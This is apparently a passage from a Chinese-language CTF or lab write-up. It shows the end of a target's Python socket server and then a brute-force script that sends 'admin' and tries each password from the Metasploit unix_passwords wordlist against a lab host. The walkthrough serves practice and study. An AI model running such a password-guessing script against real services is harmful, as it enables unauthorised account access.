current_datetime = datetime.datetime.now()
# Format the date and time according to the desired format
formatted_datetime = current_datetime.strftime("%a %b %d %H:%M:%S %Z %Y")
banner = """
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.11.2
Date: {date}""".format(date=formatted_datetime) + """
Content-type: text/html; charset=utf-8
Content-Length: 27
Try a more basic connection!
"""
return banner[1:]
except:
return 'HTTP/1.0 200 OK'
def change_uid():
uid = os.getuid()
if uid == 0:
# Make python code execution run as user 33 (www-data)
euid = 33
groups = os.getgroups()
if 0 in groups:
groups.remove(0)
os.setgroups(groups)
os.setgid(euid)
os.setuid(euid)
# MAIN
if __name__ == "__main__":
host = "0.0.0.0" # Replace with your desired IP address
port = 8000 # Replace with your desired port number
try:
start_server(host, port)
except KeyboardInterrupt:
print('Shutting Down...')
sys.exit(1)
编写脚本
我咨询了一下rpj7
师傅:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import socket
HOST = "10.0.0.108" # Server ip address
PORT = 8000 # The port used by the server
def connectdostuff(fndata):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.sendall(b"admin\n")
data = s.recv(1024)
s.sendall(bytes(fndata+"\n",encoding="ascii"))
data = s.recv(1024)
s.close()
print(f" {data!r}")
file1 = open('/usr/share/wordlists/metasploit/unix_passwords.txt', 'r')
Lines = file1.readlines()
count=0
for line in Lines:
count += 1
print("Line{}: {}".format(count, line.strip()))
connectdostuff(line)
正常的程序应答应该是这样的:
我尝试使用python的pwntools库进行连接爆破但是失败了。。。。rpj7
师傅的脚本倒是轻而易举就运行成功了。